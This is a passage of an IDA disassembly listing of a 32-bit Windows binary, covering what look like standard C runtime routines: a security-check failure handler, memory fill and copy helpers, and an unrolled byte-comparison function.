var_228 = dword ptr -228h
var_224 = dword ptr -224h
var_220 = dword ptr -220h
var_21C = dword ptr -21Ch
var_218 = dword ptr -218h
var_214 = word ptr -214h
var_210 = dword ptr -210h
var_20C = dword ptr -20Ch
var_208 = word ptr -208h
var_4 = dword ptr -4
push ebp
lea ebp, [esp-2A8h]
sub esp, 328h
mov eax, dword_4231C4
xor eax, ebp
mov [ebp+2A8h+var_4], eax
push esi
mov [ebp+2A8h+var_220], eax
mov [ebp+2A8h+var_224], ecx
mov [ebp+2A8h+var_228], edx
mov [ebp+2A8h+var_22C], ebx
mov [ebp+2A8h+var_230], esi
mov [ebp+2A8h+var_234], edi
mov [ebp+2A8h+var_208], ss
mov [ebp+2A8h+var_214], cs
mov [ebp+2A8h+var_238], ds
mov [ebp+2A8h+var_23C], es
mov [ebp+2A8h+var_240], fs
mov [ebp+2A8h+var_244], gs
pushf
pop [ebp+2A8h+var_210]
mov esi, [ebp+2ACh]
lea eax, [ebp+2ACh]
mov [ebp+2A8h+var_20C], eax
mov [ebp+2A8h+var_2D0], 10001h
mov [ebp+2A8h+var_218], esi
mov eax, [eax-4]
push 50h
mov [ebp+2A8h+var_21C], eax
lea eax, [ebp+2A8h+var_328]
push 0
push eax
call sub_40DD10
lea eax, [ebp+2A8h+var_328]
mov [ebp+2A8h+var_2D8], eax
lea eax, [ebp+2A8h+var_2D0]
add esp, 0Ch
mov [ebp+2A8h+var_328], 0C000000Dh
mov [ebp+2A8h+var_31C], esi
mov [ebp+2A8h+var_2D4], eax
call dword_41C114 ; IsDebuggerPresent
push 0
mov esi, eax
call dword_41C110 ; SetUnhandledExceptionFilter
lea eax, [ebp+2A8h+var_2D8]
push eax
call dword_41C10C ; UnhandledExceptionFilter
test eax, eax
jnz short loc_40DCB0
test esi, esi
jnz short loc_40DCB0
push 2
call sub_412996
pop ecx
loc_40DCB0: ; CODE XREF: sub_40DBDC+C6j
; sub_40DBDC+CAj
push 0C000000Dh
call dword_41C108 ; GetCurrentProcess
push eax
call dword_41C104 ; TerminateProcess
mov ecx, [ebp+2A8h+var_4]
xor ecx, ebp
pop esi
call sub_410BCD
add ebp, 2A8h
leave
retn
sub_40DBDC endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40DCD8 proc near ; CODE XREF: sub_40D807+22p
; sub_40D9FB+1Ep ...
push ebp
mov ebp, esp
push dword_424380
call sub_411DBF
test eax, eax
pop ecx
jz short loc_40DCEE
pop ebp
jmp eax
; ---------------------------------------------------------------------------
loc_40DCEE: ; CODE XREF: sub_40DCD8+11j
push 2
call sub_412996
pop ecx
pop ebp
jmp sub_40DBDC
sub_40DCD8 endp
; =============== S U B R O U T I N E =======================================
sub_40DCFC proc near ; CODE XREF: sub_4012F5+8p
; sub_401B38:loc_401B81p ...
xor eax, eax
push eax
push eax
push eax
push eax
push eax
call sub_40DCD8
add esp, 14h
retn
sub_40DCFC endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
sub_40DD10 proc near ; CODE XREF: sub_40140F+5Ep
; sub_40460B+12Cp ...
arg_0 = dword ptr 4
arg_4 = byte ptr 8
arg_8 = dword ptr 0Ch
mov edx, [esp+arg_8]
mov ecx, [esp+arg_0]
test edx, edx
jz short loc_40DD85
xor eax, eax
mov al, [esp+arg_4]
test al, al
jnz short loc_40DD3C
cmp edx, 100h
jb short loc_40DD3C
cmp dword_426008, 0
jz short loc_40DD3C
jmp sub_4129F5
; ---------------------------------------------------------------------------
loc_40DD3C: ; CODE XREF: sub_40DD10+14j
; sub_40DD10+1Cj ...
push edi
mov edi, ecx
cmp edx, 4
jb short loc_40DD75
neg ecx
and ecx, 3
jz short loc_40DD57
sub edx, ecx
loc_40DD4D: ; CODE XREF: sub_40DD10+45j
mov [edi], al
add edi, 1
sub ecx, 1
jnz short loc_40DD4D
loc_40DD57: ; CODE XREF: sub_40DD10+39j
mov ecx, eax
shl eax, 8
add eax, ecx
mov ecx, eax
shl eax, 10h
add eax, ecx
mov ecx, edx
and edx, 3
shr ecx, 2
jz short loc_40DD75
rep stosd
test edx, edx
jz short loc_40DD7F
loc_40DD75: ; CODE XREF: sub_40DD10+32j
; sub_40DD10+5Dj ...
mov [edi], al
add edi, 1
sub edx, 1
jnz short loc_40DD75
loc_40DD7F: ; CODE XREF: sub_40DD10+63j
mov eax, [esp+4+arg_0]
pop edi
retn
; ---------------------------------------------------------------------------
loc_40DD85: ; CODE XREF: sub_40DD10+Aj
mov eax, [esp+arg_0]
retn
sub_40DD10 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_40DD8A proc near ; CODE XREF: .vty:00401021p
; sub_4013C4+2Ep ...
jmp sub_41112C
sub_40DD8A endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40DD8F proc near ; CODE XREF: sub_40102D+Fp
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
push ebp
mov ebp, esp
push esi
mov esi, [ebp+arg_C]
push edi
xor edi, edi
cmp esi, edi
jnz short loc_40DDA1
loc_40DD9D: ; CODE XREF: sub_40DD8F+4Bj
xor eax, eax
jmp short loc_40DE06
; ---------------------------------------------------------------------------
loc_40DDA1: ; CODE XREF: sub_40DD8F+Cj
cmp [ebp+arg_0], edi
jnz short loc_40DDC1
loc_40DDA6: ; CODE XREF: sub_40DD8F+5Fj
call sub_40F79E
push 16h
pop esi
mov [eax], esi
loc_40DDB0: ; CODE XREF: sub_40DD8F+72j
push edi
push edi
push edi
push edi
push edi
call sub_40DCD8
add esp, 14h
mov eax, esi
jmp short loc_40DE06
; ---------------------------------------------------------------------------
loc_40DDC1: ; CODE XREF: sub_40DD8F+15j
cmp [ebp+arg_8], edi
jz short loc_40DDDC
cmp [ebp+arg_4], esi
jb short loc_40DDDC
push esi
push [ebp+arg_8]
push [ebp+arg_0]
call sub_410050
add esp, 0Ch
jmp short loc_40DD9D
; ---------------------------------------------------------------------------
loc_40DDDC: ; CODE XREF: sub_40DD8F+35j
; sub_40DD8F+3Aj
push [ebp+arg_4]
push edi
push [ebp+arg_0]
call sub_40DD10
add esp, 0Ch
cmp [ebp+arg_8], edi
jz short loc_40DDA6
cmp [ebp+arg_4], esi
jnb short loc_40DE03
call sub_40F79E
push 22h
pop ecx
mov [eax], ecx
mov esi, ecx
jmp short loc_40DDB0
; ---------------------------------------------------------------------------
loc_40DE03: ; CODE XREF: sub_40DD8F+64j
push 16h
pop eax
loc_40DE06: ; CODE XREF: sub_40DD8F+10j
; sub_40DD8F+30j
pop edi
pop esi
pop ebp
retn
sub_40DD8F endp
; =============== S U B R O U T I N E =======================================
sub_40DE0A proc near ; CODE XREF: .vty:0040DE1Bp
push ecx
mov dword ptr [ecx], offset off_41C308
call sub_412A98
pop ecx
retn
sub_40DE0A endp
; ---------------------------------------------------------------------------
loc_40DE18: ; DATA XREF: .vty:off_41C308o
push esi
mov esi, ecx
call sub_40DE0A
test byte ptr [esp+8], 1
jz short loc_40DE2E
push esi
call sub_40DD8A
pop ecx
loc_40DE2E: ; CODE XREF: .vty:0040DE25j
mov eax, esi
pop esi
retn 4
; =============== S U B R O U T I N E =======================================
sub_40DE34 proc near ; CODE XREF: sub_4165F6+12Dp
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
add ecx, 9
push ecx
add eax, 9
push eax
call sub_40FAB0
neg eax
pop ecx
sbb eax, eax
pop ecx
inc eax
retn 4
sub_40DE34 endp
; =============== S U B R O U T I N E =======================================
sub_40DE4F proc near ; CODE XREF: sub_40DE68+3Bp
push esi
push 1
push offset off_42302C
mov esi, ecx
call sub_40D8C1
mov dword ptr [esi], offset off_41C290
mov eax, esi
pop esi
retn
sub_40DE4F endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40DE68 proc near ; CODE XREF: sub_401806+10p
; sub_401F7D+2p ...
var_C = dword ptr -0Ch
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 0Ch
jmp short loc_40DE7D
; ---------------------------------------------------------------------------
loc_40DE70: ; CODE XREF: sub_40DE68+20j
push [ebp+arg_0]
call sub_412B12
test eax, eax
pop ecx
jz short loc_40DE8C
loc_40DE7D: ; CODE XREF: sub_40DE68+6j
push [ebp+arg_0]
call sub_411069
test eax, eax
pop ecx
jz short loc_40DE70
leave
retn
; ---------------------------------------------------------------------------
loc_40DE8C: ; CODE XREF: sub_40DE68+13j
test byte ptr dword_424390, 1
mov esi, offset dword_424384
jnz short loc_40DEB3
or dword_424390, 1
mov ecx, esi
call sub_40DE4F
push offset loc_41B6A9
call sub_40DBC0
pop ecx
loc_40DEB3: ; CODE XREF: sub_40DE68+30j
push esi
lea ecx, [ebp+var_C]
call sub_40D8D9
push offset dword_41FEA0
lea eax, [ebp+var_C]
push eax
mov [ebp+var_C], offset off_41C290
call sub_4107BC
int 3 ; Trap to Debugger
sub_40DE68 endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40DED2 proc near ; CODE XREF: sub_401E6B+4Dp
; sub_4054B7+3Ap ...
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
push esi
push edi
mov edi, [ebp+arg_8]
mov eax, edi
sub eax, 0
jz loc_40F4CA
dec eax
jz loc_40F4B9
dec eax
jz loc_40F48B
dec eax
jz loc_40F443
dec eax
jz loc_40F3BA
mov ecx, [ebp+arg_4]
mov eax, [ebp+arg_0]
push ebx
push 20h
pop edx
jmp loc_40E382
; ---------------------------------------------------------------------------
loc_40DF10: ; CODE XREF: sub_40DED2+4B2j
mov esi, [eax]
cmp esi, [ecx]
jz short loc_40DF92
movzx esi, byte ptr [eax]
movzx ebx, byte ptr [ecx]
sub esi, ebx
jz short loc_40DF35
xor ebx, ebx
test esi, esi
setnle bl
lea ebx, [ebx+ebx-1]
mov esi, ebx
test esi, esi
jnz loc_40E39E
loc_40DF35: ; CODE XREF: sub_40DED2+4Cj
movzx esi, byte ptr [eax+1]
movzx ebx, byte ptr [ecx+1]
sub esi, ebx
jz short loc_40DF56
xor ebx, ebx
test esi, esi
setnle bl
lea ebx, [ebx+ebx-1]
mov esi, ebx
test esi, esi
jnz loc_40E39E
loc_40DF56: ; CODE XREF: sub_40DED2+6Dj
movzx esi, byte ptr [eax+2]
movzx ebx, byte ptr [ecx+2]
sub esi, ebx
jz short loc_40DF77
xor ebx, ebx
test esi, esi
setnle bl
lea ebx, [ebx+ebx-1]
mov esi, ebx
test esi, esi
jnz loc_40E39E
loc_40DF77: ; CODE XREF: sub_40DED2+8Ej
movzx esi, byte ptr [eax+3]
movzx ebx, byte ptr [ecx+3]
sub esi, ebx
jz short loc_40DF94
xor ebx, ebx
test esi, esi
setnle bl
lea ebx, [ebx+ebx-1]
mov esi, ebx
jmp short loc_40DF94
; ---------------------------------------------------------------------------
loc_40DF92: ; CODE XREF: sub_40DED2+42j
xor esi, esi
loc_40DF94: ; CODE XREF: sub_40DED2+AFj
; sub_40DED2+BEj
test esi, esi
jnz loc_40E39E
mov esi, [eax+4]
cmp esi, [ecx+4]
jz short loc_40E022
movzx esi, byte ptr [eax+4]
movzx ebx, byte ptr [ecx+4]
sub esi, ebx
jz short loc_40DFC5
xor ebx, ebx
test esi, esi
setnle bl
lea ebx, [ebx+ebx-1]
mov esi, ebx
test esi, esi
jnz loc_40E39E
loc_40DFC5: ; CODE XREF: sub_40DED2+DCj
movzx esi, byte ptr [eax+5]
movzx ebx, byte ptr [ecx+5]
sub esi, ebx
jz short loc_40DFE6
xor ebx, ebx
test esi, esi
setnle bl
lea ebx, [ebx+ebx-1]
mov esi, ebx
test esi, esi
jnz loc_40E39E
loc_40DFE6: ; CODE XREF: sub_40DED2+FDj
movzx esi, byte ptr [eax+6]
movzx ebx, byte ptr [ecx+6]
sub esi, ebx
jz short loc_40E007
xor ebx, ebx
test esi, esi
setnle bl
lea ebx, [ebx+ebx-1]
mov esi, ebx
test esi, esi
jnz loc_40E39E
loc_40E007: ; CODE XREF: sub_40DED2+11Ej
movzx esi, byte ptr [eax+7]
movzx ebx, byte ptr [ecx+7]
sub esi, ebx
jz short loc_40E024
xor ebx, ebx
test esi, esi
setnle bl
lea ebx, [ebx+ebx-1]
mov esi, ebx
jmp short loc_40E024
; ---------------------------------------------------------------------------
loc_40E022: ; CODE XREF: sub_40DED2+D0j
xor esi, esi
loc_40E024: ; CODE XREF: sub_40DED2+13Fj
; sub_40DED2+14Ej
test esi, esi
jnz loc_40E39E
mov esi, [eax+8]
cmp esi, [ecx+8]
jz short loc_40E0B2
movzx esi, byte ptr [eax+8]
movzx ebx, byte ptr [ecx+8]
sub esi, ebx
jz short loc_40E055
xor ebx, ebx
test esi, esi
setnle bl
lea ebx, [ebx+ebx-1]
mov esi, ebx
test esi, esi
jnz loc_40E39E
loc_40E055: ; CODE XREF: sub_40DED2+16Cj
movzx esi, byte ptr [eax+9]
movzx ebx, byte ptr [ecx+9]
sub esi, ebx
jz short loc_40E076
xor ebx, ebx
test esi, esi
setnle bl
lea ebx, [ebx+ebx-1]
mov esi, ebx
test esi, esi
jnz loc_40E39E
loc_40E076: ; CODE XREF: sub_40DED2+18Dj
movzx esi, byte ptr [eax+0Ah]
movzx ebx, byte ptr [ecx+0Ah]
sub esi, ebx
jz short loc_40E097
xor ebx, ebx
test esi, esi
setnle bl
lea ebx, [ebx+ebx-1]
mov esi, ebx
test esi, esi
jnz loc_40E39E
loc_40E097: ; CODE XREF: sub_40DED2+1AEj
movzx esi, byte ptr [eax+0Bh]
movzx ebx, byte ptr [ecx+0Bh]
sub esi, ebx
jz short loc_40E0B4
xor ebx, ebx
test esi, esi
setnle bl
lea ebx, [ebx+ebx-1]
mov esi, ebx
jmp short loc_40E0B4
; ---------------------------------------------------------------------------
loc_40E0B2: ; CODE XREF: sub_40DED2+160j
xor esi, esi
loc_40E0B4: ; CODE XREF: sub_40DED2+1CFj
; sub_40DED2+1DEj
test esi, esi
jnz loc_40E39E
mov esi, [eax+0Ch]
cmp esi, [ecx+0Ch]
jz short loc_40E142
movzx esi, byte ptr [eax+0Ch]
movzx ebx, byte ptr [ecx+0Ch]
sub esi, ebx
jz short loc_40E0E5
xor ebx, ebx
test esi, esi
setnle bl
lea ebx, [ebx+ebx-1]
mov esi, ebx
test esi, esi
jnz loc_40E39E
loc_40E0E5: ; CODE XREF: sub_40DED2+1FCj
movzx esi, byte ptr [eax+0Dh]
movzx ebx, byte ptr [ecx+0Dh]
sub esi, ebx
jz short loc_40E106
xor ebx, ebx
test esi, esi
setnle bl
lea ebx, [ebx+ebx-1]
mov esi, ebx
test esi, esi
jnz loc_40E39E
loc_40E106: ; CODE XREF: sub_40DED2+21Dj
movzx esi, byte ptr [eax+0Eh]
movzx ebx, byte ptr [ecx+0Eh]
sub esi, ebx
jz short loc_40E127
xor ebx, ebx
test esi, esi
setnle bl
lea ebx, [ebx+ebx-1]
mov esi, ebx
test esi, esi
jnz loc_40E39E
loc_40E127: ; CODE XREF: sub_40DED2+23Ej
movzx esi, byte ptr [eax+0Fh]
movzx ebx, byte ptr [ecx+0Fh]
sub esi, ebx
jz short loc_40E144
xor ebx, ebx
test esi, esi
setnle bl
lea ebx, [ebx+ebx-1]
mov esi, ebx
jmp short loc_40E144
; ---------------------------------------------------------------------------
loc_40E142: ; CODE XREF: sub_40DED2+1F0j
xor esi, esi
loc_40E144: ; CODE XREF: sub_40DED2+25Fj
; sub_40DED2+26Ej
test esi, esi
jnz loc_40E39E
mov esi, [eax+10h]
cmp esi, [ecx+10h]
jz short loc_40E1D2
movzx ebx, byte ptr [ecx+10h]
movzx esi, byte ptr [eax+10h]
sub esi, ebx
jz short loc_40E175
xor ebx, ebx
test esi, esi
setnle bl
lea ebx, [ebx+ebx-1]
mov esi, ebx
test esi, esi
jnz loc_40E39E
loc_40E175: ; CODE XREF: sub_40DED2+28Cj
movzx esi, byte ptr [eax+11h]
movzx ebx, byte ptr [ecx+11h]
sub esi, ebx
jz short loc_40E196
xor ebx, ebx
test esi, esi
setnle bl
lea ebx, [ebx+ebx-1]
mov esi, ebx
test esi, esi
jnz loc_40E39E
loc_40E196: ; CODE XREF: sub_40DED2+2ADj
movzx esi, byte ptr [eax+12h]
movzx ebx, byte ptr [ecx+12h]
sub esi, ebx
jz short loc_40E1B7
xor ebx, ebx
test esi, esi
setnle bl
lea ebx, [ebx+ebx-1]
mov esi, ebx
test esi, esi
jnz loc_40E39E
loc_40E1B7: ; CODE XREF: sub_40DED2+2CEj
movzx esi, byte ptr [eax+13h]
movzx ebx, byte ptr [ecx+13h]
sub esi, ebx
jz short loc_40E1D4
xor ebx, ebx
test esi, esi
setnle bl
lea ebx, [ebx+ebx-1]
mov esi, ebx
jmp short loc_40E1D4
; ---------------------------------------------------------------------------
loc_40E1D2: ; CODE XREF: sub_40DED2+280j
xor esi, esi
loc_40E1D4: ; CODE XREF: sub_40DED2+2EFj
; sub_40DED2+2FEj
test esi, esi
jnz loc_40E39E
mov esi, [eax+14h]
cmp esi, [ecx+14h]
jz short loc_40E262
movzx esi, byte ptr [eax+14h]
movzx ebx, byte ptr [ecx+14h]
sub esi, ebx
jz short loc_40E205
xor ebx, ebx
test esi, esi
setnle bl
lea ebx, [ebx+ebx-1]
mov esi, ebx
test esi, esi
jnz loc_40E39E
loc_40E205: ; CODE XREF: sub_40DED2+31Cj
movzx esi, byte ptr [eax+15h]
movzx ebx, byte ptr [ecx+15h]
sub esi, ebx
jz short loc_40E226
xor ebx, ebx
test esi, esi
setnle bl
lea ebx, [ebx+ebx-1]
mov esi, ebx
test esi, esi
jnz loc_40E39E
loc_40E226: ; CODE XREF: sub_40DED2+33Dj
movzx esi, byte ptr [eax+16h]
movzx ebx, byte ptr [ecx+16h]
sub esi, ebx
jz short loc_40E247
xor ebx, ebx
test esi, esi
setnle bl
lea ebx, [ebx+ebx-1]
mov esi, ebx
test esi, esi
jnz loc_40E39E
loc_40E247: ; CODE XREF: sub_40DED2+35Ej
movzx esi, byte ptr [eax+17h]
movzx ebx, byte ptr [ecx+17h]
sub esi, ebx
jz short loc_40E264
xor ebx, ebx
test esi, esi
setnle bl
lea ebx, [ebx+ebx-1]
mov esi, ebx
jmp short loc_40E264
; ---------------------------------------------------------------------------
loc_40E262: ; CODE XREF: sub_40DED2+310j
xor esi, esi
loc_40E264: ; CODE XREF: sub_40DED2+37Fj
; sub_40DED2+38Ej
test esi, esi
jnz loc_40E39E
mov esi, [eax+18h]
cmp esi, [ecx+18h]
jz short loc_40E2F2
movzx esi, byte ptr [eax+18h]
movzx ebx, byte ptr [ecx+18h]
sub esi, ebx
jz short loc_40E295
xor ebx, ebx
test esi, esi
setnle bl
lea ebx, [ebx+ebx-1]
mov esi, ebx
test esi, esi
jnz loc_40E39E
loc_40E295: ; CODE XREF: sub_40DED2+3ACj
movzx esi, byte ptr [eax+19h]
movzx ebx, byte ptr [ecx+19h]
sub esi, ebx
jz short loc_40E2B6
xor ebx, ebx
test esi, esi
setnle bl
lea ebx, [ebx+ebx-1]
mov esi, ebx
test esi, esi
jnz loc_40E39E
loc_40E2B6: ; CODE XREF: sub_40DED2+3CDj
movzx esi, byte ptr [eax+1Ah]
movzx ebx, byte ptr [ecx+1Ah]
sub esi, ebx
jz short loc_40E2D7
xor ebx, ebx
test esi, esi
setnle bl
lea ebx, [ebx+ebx-1]
mov esi, ebx
test esi, esi
jnz loc_40E39E
loc_40E2D7: ; CODE XREF: sub_40DED2+3EEj
movzx esi, byte ptr [eax+1Bh]
movzx ebx, byte ptr [ecx+1Bh]
sub esi, ebx
jz short loc_40E2F4
xor ebx, ebx
test esi, esi
setnle bl
lea ebx, [ebx+ebx-1]
mov esi, ebx
jmp short loc_40E2F4
; ---------------------------------------------------------------------------
loc_40E2F2: ; CODE XREF: sub_40DED2+3A0j
xor esi, esi
loc_40E2F4: ; CODE XREF: sub_40DED2+40Fj
; sub_40DED2+41Ej
test esi, esi
jnz loc_40E39E
mov esi, [eax+1Ch]
cmp esi, [ecx+1Ch]
jz short loc_40E376
movzx esi, byte ptr [eax+1Ch]
movzx ebx, byte ptr [ecx+1Ch]
sub esi, ebx
jz short loc_40E321
xor ebx, ebx
test esi, esi
setnle bl
lea ebx, [ebx+ebx-1]
mov esi, ebx
test esi, esi
jnz short loc_40E39E
loc_40E321: ; CODE XREF: sub_40DED2+43Cj
movzx esi, byte ptr [eax+1Dh]
movzx ebx, byte ptr [ecx+1Dh]
sub esi, ebx
jz short loc_40E33E
xor ebx, ebx
test esi, esi
setnle bl
lea ebx, [ebx+ebx-1]
mov esi, ebx
test esi, esi
jnz short loc_40E39E
loc_40E33E: ; CODE XREF: sub_40DED2+459j
movzx esi, byte ptr [eax+1Eh]
movzx ebx, byte ptr [ecx+1Eh]
sub esi, ebx
jz short loc_40E35B
xor ebx, ebx
test esi, esi
setnle bl
lea ebx, [ebx+ebx-1]
mov esi, ebx
test esi, esi
jnz short loc_40E39E
loc_40E35B: ; CODE XREF: sub_40DED2+476j
movzx esi, byte ptr [eax+1Fh]
movzx ebx, byte ptr [ecx+1Fh]
sub esi, ebx
jz short loc_40E378
xor ebx, ebx
test esi, esi
setnle bl
lea ebx, [ebx+ebx-1]
mov esi, ebx
jmp short loc_40E378
; ---------------------------------------------------------------------------
loc_40E376: ; CODE XREF: sub_40DED2+430j
xor esi, esi
loc_40E378: ; CODE XREF: sub_40DED2+493j
; sub_40DED2+4A2j
test esi, esi
jnz short loc_40E39E
add eax, edx
add ecx, edx
sub edi, edx
loc_40E382: ; CODE XREF: sub_40DED2+39j
cmp edi, edx
jnb loc_40DF10
add eax, edi
add ecx, edi
cmp edi, 1Fh ; switch 32 cases
ja loc_40E771 ; default
; jumptable 0040E397 case 0
jmp off_40F4D2[edi*4] ; switch jump
; ---------------------------------------------------------------------------
loc_40E39E: ; CODE XREF: sub_40DED2+5Dj
; sub_40DED2+7Ej ...
mov eax, esi
jmp loc_40E773
; ---------------------------------------------------------------------------
loc_40E3A5: ; CODE XREF: sub_40DED2+4C5j
; DATA XREF: .vty:off_40F4D2o
mov edx, [eax-1Ch] ; jumptable 0040E397 case 28
cmp edx, [ecx-1Ch]
jz short loc_40E41E
movzx esi, dl
movzx edx, byte ptr [ecx-1Ch]
sub esi, edx
jz short loc_40E3C9
xor edx, edx
test esi, esi
setnle dl
lea edx, [edx+edx-1]
mov esi, edx
test esi, esi
jnz short loc_40E39E
loc_40E3C9: ; CODE XREF: sub_40DED2+4E4j
movzx esi, byte ptr [eax-1Bh]
movzx edx, byte ptr [ecx-1Bh]
sub esi, edx
jz short loc_40E3E6
xor edx, edx
test esi, esi
setnle dl
lea edx, [edx+edx-1]
mov esi, edx
test esi, esi
jnz short loc_40E39E
loc_40E3E6: ; CODE XREF: sub_40DED2+501j
movzx esi, byte ptr [eax-1Ah]
movzx edx, byte ptr [ecx-1Ah]
sub esi, edx
jz short loc_40E403
xor edx, edx
test esi, esi
setnle dl
lea edx, [edx+edx-1]
mov esi, edx
test esi, esi
jnz short loc_40E39E
loc_40E403: ; CODE XREF: sub_40DED2+51Ej
movzx esi, byte ptr [eax-19h]
movzx edx, byte ptr [ecx-19h]
sub esi, edx
jz short loc_40E420
xor edx, edx
test esi, esi
setnle dl
lea edx, [edx+edx-1]
mov esi, edx
jmp short loc_40E420
; ---------------------------------------------------------------------------
loc_40E41E: ; CODE XREF: sub_40DED2+4D9j
xor esi, esi
loc_40E420: ; CODE XREF: sub_40DED2+53Bj
; sub_40DED2+54Aj
test esi, esi
jnz loc_40E39E
loc_40E428: ; CODE XREF: sub_40DED2+4C5j
; DATA XREF: .vty:off_40F4D2o
mov edx, [eax-18h] ; jumptable 0040E397 case 24
cmp edx, [ecx-18h]
jz short loc_40E4AD
movzx esi, dl
movzx edx, byte ptr [ecx-18h]
sub esi, edx
jz short loc_40E450
xor edx, edx
test esi, esi
setnle dl
lea edx, [edx+edx-1]
mov esi, edx
test esi, esi
jnz loc_40E39E
loc_40E450: ; CODE XREF: sub_40DED2+567j
movzx esi, byte ptr [eax-17h]
movzx edx, byte ptr [ecx-17h]
sub esi, edx
jz short loc_40E471
xor edx, edx
test esi, esi
setnle dl
lea edx, [edx+edx-1]
mov esi, edx
test esi, esi
jnz loc_40E39E
loc_40E471: ; CODE XREF: sub_40DED2+588j
movzx esi, byte ptr [eax-16h]
movzx edx, byte ptr [ecx-16h]
sub esi, edx
jz short loc_40E492
xor edx, edx
test esi, esi
setnle dl
lea edx, [edx+edx-1]
mov esi, edx
test esi, esi
jnz loc_40E39E
loc_40E492: ; CODE XREF: sub_40DED2+5A9j
movzx esi, byte ptr [eax-15h]
movzx edx, byte ptr [ecx-15h]
sub esi, edx
jz short loc_40E4AF
xor edx, edx
test esi, esi
setnle dl
lea edx, [edx+edx-1]
mov esi, edx
jmp short loc_40E4AF
; ---------------------------------------------------------------------------
loc_40E4AD: ; CODE XREF: sub_40DED2+55Cj
xor esi, esi
loc_40E4AF: ; CODE XREF: sub_40DED2+5CAj
; sub_40DED2+5D9j
test esi, esi
jnz loc_40E39E
loc_40E4B7: ; CODE XREF: sub_40DED2+4C5j
; DATA XREF: .vty:off_40F4D2o
mov edx, [eax-14h] ; jumptable 0040E397 case 20
cmp edx, [ecx-14h]
jz short loc_40E53C
movzx esi, dl
movzx edx, byte ptr [ecx-14h]
sub esi, edx
jz short loc_40E4DF
xor edx, edx
test esi, esi
setnle dl
lea edx, [edx+edx-1]
mov esi, edx
test esi, esi
jnz loc_40E39E
loc_40E4DF: ; CODE XREF: sub_40DED2+5F6j
movzx esi, byte ptr [eax-13h]
movzx edx, byte ptr [ecx-13h]
sub esi, edx
jz short loc_40E500
xor edx, edx
test esi, esi
setnle dl
lea edx, [edx+edx-1]
mov esi, edx
test esi, esi
jnz loc_40E39E
loc_40E500: ; CODE XREF: sub_40DED2+617j
movzx esi, byte ptr [eax-12h]
movzx edx, byte ptr [ecx-12h]
sub esi, edx
jz short loc_40E521
xor edx, edx
test esi, esi
setnle dl
lea edx, [edx+edx-1]
mov esi, edx
test esi, esi
jnz loc_40E39E
loc_40E521: ; CODE XREF: sub_40DED2+638j
movzx esi, byte ptr [eax-11h]
movzx edx, byte ptr [ecx-11h]
sub esi, edx
jz short loc_40E53E
xor edx, edx
test esi, esi
setnle dl
lea edx, [edx+edx-1]
mov esi, edx
jmp short loc_40E53E
; ---------------------------------------------------------------------------
loc_40E53C: ; CODE XREF: sub_40DED2+5EBj
xor esi, esi
loc_40E53E: ; CODE XREF: sub_40DED2+659j
; sub_40DED2+668j
test esi, esi
jnz loc_40E39E
loc_40E546: ; CODE XREF: sub_40DED2+4C5j
; DATA XREF: .vty:off_40F4D2o
mov edx, [eax-10h] ; jumptable 0040E397 case 16
cmp edx, [ecx-10h]
jz short loc_40E5CB
movzx esi, dl
movzx edx, byte ptr [ecx-10h]
sub esi, edx
jz short loc_40E56E
xor edx, edx
test esi, esi
setnle dl
lea edx, [edx+edx-1]
mov esi, edx
test esi, esi
jnz loc_40E39E
loc_40E56E: ; CODE XREF: sub_40DED2+685j
movzx esi, byte ptr [eax-0Fh]
movzx edx, byte ptr [ecx-0Fh]
sub esi, edx
jz short loc_40E58F
xor edx, edx
test esi, esi
setnle dl
lea edx, [edx+edx-1]
mov esi, edx
test esi, esi
jnz loc_40E39E
loc_40E58F: ; CODE XREF: sub_40DED2+6A6j
movzx esi, byte ptr [eax-0Eh]
movzx edx, byte ptr [ecx-0Eh]
sub esi, edx
jz short loc_40E5B0
xor edx, edx
test esi, esi
setnle dl
lea edx, [edx+edx-1]
mov esi, edx
test esi, esi
jnz loc_40E39E
loc_40E5B0: ; CODE XREF: sub_40DED2+6C7j
movzx esi, byte ptr [eax-0Dh]
movzx edx, byte ptr [ecx-0Dh]
sub esi, edx
jz short loc_40E5CD
xor edx, edx
test esi, esi
setnle dl
lea edx, [edx+edx-1]
mov esi, edx
jmp short loc_40E5CD
; ---------------------------------------------------------------------------
loc_40E5CB: ; CODE XREF: sub_40DED2+67Aj
xor esi, esi
loc_40E5CD: ; CODE XREF: sub_40DED2+6E8j
; sub_40DED2+6F7j
test esi, esi
jnz loc_40E39E
loc_40E5D5: ; CODE XREF: sub_40DED2+4C5j
; DATA XREF: .vty:off_40F4D2o
mov edx, [eax-0Ch] ; jumptable 0040E397 case 12
cmp edx, [ecx-0Ch]
jz short loc_40E65B
movzx edx, byte ptr [ecx-0Ch]
movzx esi, byte ptr [eax-0Ch]
sub esi, edx
jz short loc_40E5FE
xor edx, edx
test esi, esi
setnle dl
lea edx, [edx+edx-1]
mov esi, edx
test esi, esi
jnz loc_40E39E
loc_40E5FE: ; CODE XREF: sub_40DED2+715j
movzx esi, byte ptr [eax-0Bh]
movzx edx, byte ptr [ecx-0Bh]
sub esi, edx
jz short loc_40E61F
xor edx, edx
test esi, esi
setnle dl
lea edx, [edx+edx-1]
mov esi, edx
test esi, esi
jnz loc_40E39E
loc_40E61F: ; CODE XREF: sub_40DED2+736j
movzx esi, byte ptr [eax-0Ah]
movzx edx, byte ptr [ecx-0Ah]
sub esi, edx
jz short loc_40E640
xor edx, edx
test esi, esi
setnle dl
lea edx, [edx+edx-1]
mov esi, edx
test esi, esi
jnz loc_40E39E
loc_40E640: ; CODE XREF: sub_40DED2+757j
movzx esi, byte ptr [eax-9]
movzx edx, byte ptr [ecx-9]
sub esi, edx
jz short loc_40E65D
xor edx, edx
test esi, esi
setnle dl
lea edx, [edx+edx-1]
mov esi, edx
jmp short loc_40E65D
; ---------------------------------------------------------------------------
loc_40E65B: ; CODE XREF: sub_40DED2+709j
xor esi, esi
